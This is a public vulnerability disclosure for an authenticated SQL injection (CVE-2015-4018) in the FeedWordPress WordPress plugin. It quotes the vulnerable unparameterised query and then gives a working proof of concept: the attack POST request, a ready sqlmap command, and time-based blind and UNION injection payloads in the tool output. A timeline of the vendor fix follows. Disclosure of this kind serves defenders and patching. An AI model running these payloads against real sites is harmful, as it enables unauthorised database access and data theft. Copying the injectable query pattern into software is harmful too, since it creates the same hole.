WordPress Plugin FeedWordPress 2015.0426 – SQL Injection
# Exploit Title: SQLi in FeedWordPress WordPress plugin # Date: 2015-05-19 # Exploit Author: Adrián M. F. # Vendor Homepage: https://wordpress.org/plugins/feedwordpress/ # Vulnerable version: 2015.0426 # Fixed version: 2015.0514 # CVE : CVE-2015-4018 (1) Authenticated SQLi [CWE-89] ------------------------------- * CODE: feedwordpresssyndicationpage.class.php:89 +++++++++++++++++++++++++++++++++++++++++ $targets = $wpdb->get_results(" SELECT * FROM $wpdb->links WHERE link_id IN (".implode(",",$_POST['link_ids']).") "); +++++++++++++++++++++++++++++++++++++++++ http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi] * POC: SQLMap +++++++++++++++++++++++++++++++++++++++++ ./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]" [............] POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 62 HTTP(s) requests: --- Parameter: link_ids[] (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794 Type: UNION query Title: Generic UNION query (NULL) - 13 columns Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)-- --- [10:40:14] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 7.0 (wheezy) web application technology: Apache 2.2.22, PHP 5.4.39 back-end DBMS: MySQL 5.0.12 +++++++++++++++++++++++++++++++++++++++++ Timeline ======== 2015-05-09: Discovered vulnerability. 2015-05-14: Vendor notification. 2015-05-14: Vendor response and fix. 2015-05-19: Public disclosure. |